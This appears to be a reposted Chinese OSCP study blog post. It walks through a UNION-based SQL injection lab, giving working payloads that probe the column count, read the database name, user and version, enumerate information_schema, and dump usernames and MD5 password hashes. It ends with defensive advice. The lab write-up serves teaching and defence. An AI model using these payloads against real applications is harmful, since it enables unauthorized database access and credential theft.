详细介绍:5-4〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于 UNION 的SQLi

news/2025/11/12 9:48:30/文章来源:https://www.cnblogs.com/tlnshuju/p/19212554

详细介绍:5-4〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于 UNION 的SQLi

2025-11-12 09:45  tlnshuju  阅读(0)  评论(0)    收藏  举报

     郑重声明:本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    点赞❤️ 关注 收藏⭐️ 评论 
    更多文章戳
Whoami!-CSDN博客

​​​​​​​​


 让我们开启SQL注入的新世界吧,走起 ! 

' ,  ! 


→ 信息收集

→ 漏洞检测

→ 初始立足点

→ 权限提升▸SQL注入攻击▸基于 UNION 的SQLi-----我们在这儿~ 

→ 横向移动

→ 报告/分析

→ 教训/修复  


目录

1.SQL注入攻击

1.1 手动SQL注入深度解析

1.1.1 基于 UNION 的SQLi

1.1.1.1 目标环境分析

1.1.1.2 确定目标表列数

1.1.1.3 枚举当前数据库名称、用户和MySQL版本

1.1.1.4 枚举information_schema

1.INFORMATION_SCHEMA介绍

2.枚举information_schema.column发现users表

3.枚举users表中的具体内容(用户名、凭证)

1.1.1.5 攻击成果总结

1.1.1.6 安全漏洞分析

1.暴露的安全问题

2.防御建议

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论


1.SQL注入攻击

1.1 手动SQL注入深度解析

1.1.1 基于 UNION 的SQLi

        UNION操作符允许在同一个查询中执行多个SELECT语句,将结果合并返回,是SQL注入中最强大的技术之一。

⚡ 攻击成功的关键先决条件

条件说明重要性
列数相同UNION前后查询的列数必须一致 必须满足
数据类型兼容对应列的数据类型需要匹配 必须满足

1.1.1.1 目标环境分析

我们测试一个具有以下预配置SQL查询的Web应用程序,即:页面上的查询输入点。

假设我们知道网页源代码语句(为了更好的分析),先分析下已经预配置的SQL查询语句,其中上图的输入框就是用户输入的变量.$_POST["search _input"],此处可进行SQL注入。

原始查询结构:

SELECT * FROM customers WHERE name LIKE '[用户输入]%'
分析维度详细说明安全状态
查询目的customers表中检索所有name列以用户输入字符串开头的记录⚠️ 功能正常但存在风险
查询结构SELECT * FROM customers WHERE name LIKE '[pattern]'⚠️ 静态结构安全,动态构建危险
LIKE操作符SQL模糊匹配操作符,支持通配符:
• % - 任意数量字符
• _ - 单个字符
✅ 操作符本身安全
用户输入处理• 来源:$_POST["search_input"]
• 方式:直接字符串拼接
• 过滤:无显示过滤或转义
 极度危险 - SQL注入漏洞
通配符使用模式末尾使用%通配符:
• A → 匹配AliceAndrew
•  → 匹配李小明李华

✅ 功能实现正确

⚠️ 模式正确但实现方式危险

潜在风险SQL注入攻击向量
• 单引号'可终止字符串
• 可注入额外SQL命令
• 可能泄露整个数据库
• 身份验证绕过风险
 高危漏洞 - 立即需要修复
️ 建议修复方案参数化查询
WHERE name LIKE CONCAT(?, '%')
输入验证:白名单过滤、长度限制
 可完全修复漏洞

1.1.1.2 确定目标表列数

打开测试页面:http://192.168.50.16/search.php(实验环境的,公网无法打开,仅作展示)

然后,点击SEARCH来检索customers表中的所有数据,下图出现4列:

在制定任何攻击策略之前,需要知道目标表中确切的列数(为了拼接UNION语句)。尽管上面的输出显示存在4列,但不应该基于应用程序布局做出假设,因为可能存在额外的列

为了发现正确的列数,使用以下探测方法

使用ORDER BY子句

' ORDER BY 1 -- // 按照第1列排序,成功,说明存在第1列。
' ORDER BY 2 -- // 按照第2列排序,成功,说明存在第2列。
' ORDER BY 3 -- // 按照第3列排序,成功,说明存在第3列。
...
' ORDER BY 6 -- // ❌ 报错!说明第6列不存在,说明表格仅有5列。

原网页代码的语句是:

SELECT * from customers WHERE name LIKE '".$_POST["search _input"]."%'

注入SQL后完整的语句是:

SELECT * from customers WHERE name LIKE ' ' order by 1 -- // %'先把LIKE后面的'闭环,再执行order by排序操作,用-- //把后面的命令注释掉。

技术原理:

  • ORDER BY N 按第N列排序

  • 当N超过实际列数时产生错误

  • 发现结果:目标表有5列


1.1.1.3 枚举当前数据库名称、用户和MySQL版本

以下内容在搜索框输入的,并点击search按钮

%' UNION SELECT database(), user(), @@version, null, null -- //

注入后完整的语句:

SELECT * from customers WHERE name LIKE '%' UNION SELECT database(), user(), @@version, null, null -- //%'
  • 使用 %' 来闭环搜索参数
  • 注入的查询中使用UNION SELECT语句
  • 构造5列,其余构造两列为null,凑齐5列。

执行结果:

  • 用户信息版本号显示成功

  • ❌ 数据库名称未显示

问题分析:

  • 第1列通常是ID字段(整数类型)

  • database()返回字符串,类型不匹配,无法返回

  • 应用程序可能隐藏第1列显示

优化后的Payload:

%' UNION SELECT null, null, database(), user(), @@version -- //

调整策略:

  • 第1列:null(避免类型冲突)

  • 第2列:null(占位)

  • 第3-5列:放置关键信息

攻击成果: ✅ 成功获取所有信息

  • 数据库名称:offsec

  • 当前用户:数据库用户信息

  • MySQL版本:版本详细信息


1.1.1.4 枚举information_schema
1.INFORMATION_SCHEMA介绍

  INFORMATION_SCHEMA 是一个系统数据库,提供了有关数据库元数据的信息。
  元数据:是指描述数据库结构的数据,通常包括表、列、索引、视图、权限等信息。INFORMATION_SCHEMA 作为标准化的视图集合,可以让用户查询数据库的结构而不依赖于具体的数据库实现。

1. 作用

  INFORMATION_SCHEMA 允许用户获取数据库的结构信息,而无需直接查询系统表。它是一个跨数据库管理系统(DBMS)的标准,意味着不同的数据库(如 MySQL、PostgreSQL、SQL Server)都提供类似的 INFORMATION_SCHEMA 视图。通过这些视图,用户可以查看数据库中存储的数据结构、对象及其关系。

2. 常见视图

  • TABLES

    • 存储所有表的信息。
    • 主要字段:TABLE_NAME(表名),TABLE_SCHEMA(数据库名),TABLE_TYPE(表类型,通常为 BASE TABLE 或 VIEW)等。
    • 查询所有表的示例:
      SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'your_database_name';
  • COLUMNS

    • 存储所有列的信息(包括:列名、数据类型、默认值等)。
    • 主要字段:COLUMN_NAME(列名),DATA_TYPE(数据类型),IS_NULLABLE(是否允许为 NULL)等。
    • 查询某表的所有列的示例:
      SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'your_table_name' AND TABLE_SCHEMA = 'your_database_name';
  • KEY_COLUMN_USAGE

    • 存储键列的相关信息,例如:主键、外键等。
    • 主要字段:CONSTRAINT_NAME(约束名),COLUMN_NAME(列名),REFERENCED_TABLE_NAME(外键引用的表)等。
    • 查询某个表的外键信息示例:
      SELECT * FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_NAME = 'your_table_name' AND TABLE_SCHEMA = 'your_database_name';
  • SCHEMATA

    • 存储所有数据库的信息。
    • 主要字段:SCHEMA_NAME(数据库名),DEFAULT_CHARACTER_SET_NAME(默认字符集)等。
    • 查询所有数据库的示例:
      SELECT * FROM INFORMATION_SCHEMA.SCHEMATA;
  • VIEWS

    • 存储数据库中所有视图的信息。
    • 主要字段:TABLE_NAME(视图名),VIEW_DEFINITION(视图定义)等。
    • 查询所有视图的示例:
      SELECT * FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = 'your_database_name';
  • USER_PRIVILEGES

    • 存储当前用户的权限信息。
    • 主要字段:GRANTEE(用户),PRIVILEGE_TYPE(权限类型,如 SELECTINSERT 等)等。
    • 查询当前用户的权限示例:
      SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES;
2.枚举information_schema.column发现users表
' UNION SELECT null, table_name, column_name, table_schema, null
FROM information_schema.columns where table_schema=database() -- //

关键发现:

  • ️ 发现users

  • 包含password列(及其他列)

  • 确认表属于当前数据库

3.枚举users表中的具体内容(用户名、凭证)

基于上一步发现的users表及其列名,枚举该表中数据的具体内容,包括用户名、凭证等。

%' UNION SELECT null, username, password, description, null
FROM users -- //

攻击成果:

  • 获取所有用户名

  • 提取MD5密码哈希

  • 用户描述信息

  • 包含管理员账户凭证


1.1.1.5 攻击成果总结

    截至目前,我们基于UNION的payload获取整个users表的用户名和MD5哈希值,其中包括一个admin账户。这些 MD5值是明文密码的加密版本,可以使用适当的工具进行反向操作获取密码明文。

攻击阶段获取信息利用价值
列数探测表结构(5列)优化UNION攻击
基础信息数据库名、用户、版本环境认知
表结构枚举users表及列结构目标锁定
数据提取用户名、密码哈希凭证窃取

1.1.1.6 安全漏洞分析
1.暴露的安全问题
  • 输入未过滤 - 直接拼接用户输入到SQL

  • 错误信息泄露 - 提供调试信息

  • 过度数据返回 - 显示敏感数据库信息

  • 缺乏权限控制 - 应用账户可访问系统表

2.防御建议
防御层具体措施效果
输入验证白名单过滤、转义特殊字符阻止恶意输入
参数化查询使用预处理语句分离代码与数据
最小权限限制数据库账户权限防止系统表访问
输出限制只返回必要数据减少信息泄露

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论

您的支持是我创作最大的动力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/963040.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

npm yarn pnpm 区别

pnpm、npm、yarn三者是前端常用的包管理器,那么他们有什么区别呢? npm(Node Package Manager) npm是Node.js的默认包管理器。自Node.js发布以来,npm就一直作为它的一个组成部分存在,因此,安装Node.js时也会自动安…

第七届智能控制、测量与信号处理国际学术会议 (ICMSP 2025)

第七届智能控制、测量与信号处理国际学术会议 (ICMSP 2025) 2025 7th International Conference on Intelligent Control, Measurement and Signal Processing (ICMSP 2025) 第七届智能控制、测量与信号处理国际学术会…

文档内容比对桌面软件V2.2.0(新增详细报告输出)

一.简介 功能: 1.支持文本、word、excel、PDF(含扫描件)、图片等格式的内容比对 2.支持比对后的相似度等的统计 二.界面 修改: 1.界面重构,分为两栏 2.增加差异和相似度统计 主界面: 导出的html比对报告,增加相…

C#语言中使用using关键字的介绍

在 C# 语言中,“using”关键字被用于不同的上下文和目的,它的用法大体上可以被分为三类:导入命名空间、简化资源管理和提供别名。 首先,"using"关键字最常见的用途是导入命名空间。这在 C# 程序中非常普…

matplotlib 中文显示异常的修复方法

这个问题很常见 问题原因 1. 字体缓存污染 matplotlib 在第一次运行时创建字体缓存,如果之前有错误的字体配置或损坏的缓存,会导致后续所有绘图都使用错误的字体设置。 2. 缓存不更新 即使你后来添加了正确的中文字体…

P2490 [SDOI2011] 黑白棋 笔记

前置知识:K-Nim 游戏。 由于白棋和黑棋交错放并且只能向中间走,相邻的两个白黑棋中间的格子数即可看作一堆石子。 问题转换为:有 \(N=n-k\) 个完全相同的物品,\(M=\frac k 2\) 个不同的盒子,把若干个物品放进盒子…

深入解析:OpenAI推出即时支付功能,ChatGPT将整合电商能力|技术解析与行业影响

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年卧式数控车床优质厂家推荐排行榜单

2025年卧式数控车床优质厂家推荐排行榜单前言随着制造业的快速发展,卧式数控车床作为精密加工的核心设备,其性能和质量直接影响着生产效率和产品质量。为帮助广大用户选择合适的设备供应商,我们特别整理了2025年度卧…

【machine learning】COVID-19 daily cases prediction - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

【开题答辩全过程】以 北京房屋租赁数据分析与可视化为例,包含答辩的问题和答案 - 教程

【开题答辩全过程】以 北京房屋租赁数据分析与可视化为例,包含答辩的问题和答案 - 教程2025-11-12 09:32 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important;…

phpMyAdmin Docker 容器化部署指南

phpMyAdmin是一款用PHP编写的免费开源工具,旨在通过Web界面管理MySQL和MariaDB数据库。它支持数据库管理、表操作、用户权限配置等多种功能,同时提供SQL语句直接执行能力,是Web开发者和数据库管理员的常用工具。概述…

2025年11月5日一星期

1..NET Framework 项目和.net core项目区分:.net frame是windows单独,.net core是跨平台2.查看服务器磁盘空间df -h,这里h指自动换算单位 [root@MiWiFi-RA70-srv backup]# df -h文件系统 大小 已…

高精度乘法模板(p1303)

P1303 A*B Problem 题目背景 高精度乘法模板题。 题目描述 给出两个非负整数,求它们的乘积。 输入格式 输入共两行,每行一个非负整数。 输出格式 输出一个非负整数表示乘积。 输入输出样例 #1 输入 #1 1 2输出 #1 2…

2025年云桌面软件排名

2025年云桌面软件排名:拓实科技领跑企业数字化转型随着企业数字化转型的深入推进,云桌面软件已成为现代企业IT基础设施的重要组成部分。作为深耕企业信息化建设23年的专业服务商,拓实科技凭借其卓越的技术实力和丰富…

2025年11月EGUOO京东自营:800万瓶纳豆激酶销量见证用户信赖

开场白 “我想给家里长辈买关节片,又怕海淘等太久,有没有正品保障还能次日达的选择?”这是京东健康频道后台出现频率极高的提问。消费者的核心痛点集中在“是否正品、是否快速、是否适合父母长期吃”三件事上。EGUO…

2025年高速高压旋转接头权威推荐榜单:导热油旋转接头/液压多通路旋转接头/高速旋转接头源头厂家精选

在工业流体传输领域,一台性能卓越的高速高压旋转接头是确保设备连续稳定运行的关键部件。 根据行业数据显示,2024年全球旋转接头市场规模已达数十亿元,预计到2028年将继续保持稳定增长态势。其中高速高压旋转接头在…

传统油烟机智能化升级之雷达手势感应唤醒控制方案

传统的油烟机需要通过按键触摸开机或者语音控制开机,按键控制在炒菜的时候不是很方便,而语音控制在高档位噪音大时容易受到油烟机的噪音影响,现在新的控制方式在市场上悄然出现,那就是通过雷达模块做到感应唤醒和手…

sqlserver 允许字母、数字、汉字 额外允许字符

现在这个函数可以准确判断字符串是否只包含:字母(A-Z, a-z)数字(0-9)汉字(包括基本汉字和扩展区)斜杠字符(/) CREATE FUNCTION dbo.CheckValidCharactersEx( @inputString NVARCHAR(MAX), @extraChars…

博弈论 笔记

挖坑待补。 \(\mathbf{N}\) 态:当前手胜利的局面。 \(\mathbf{P}\) 态:当前手失败的局面。 K-Nim 游戏 描述 有 \(n\) 堆石子,先手和后手轮流取,每次选择 \(1\sim k\) 堆,每堆取走至少一个,不能操作者败。 解法设…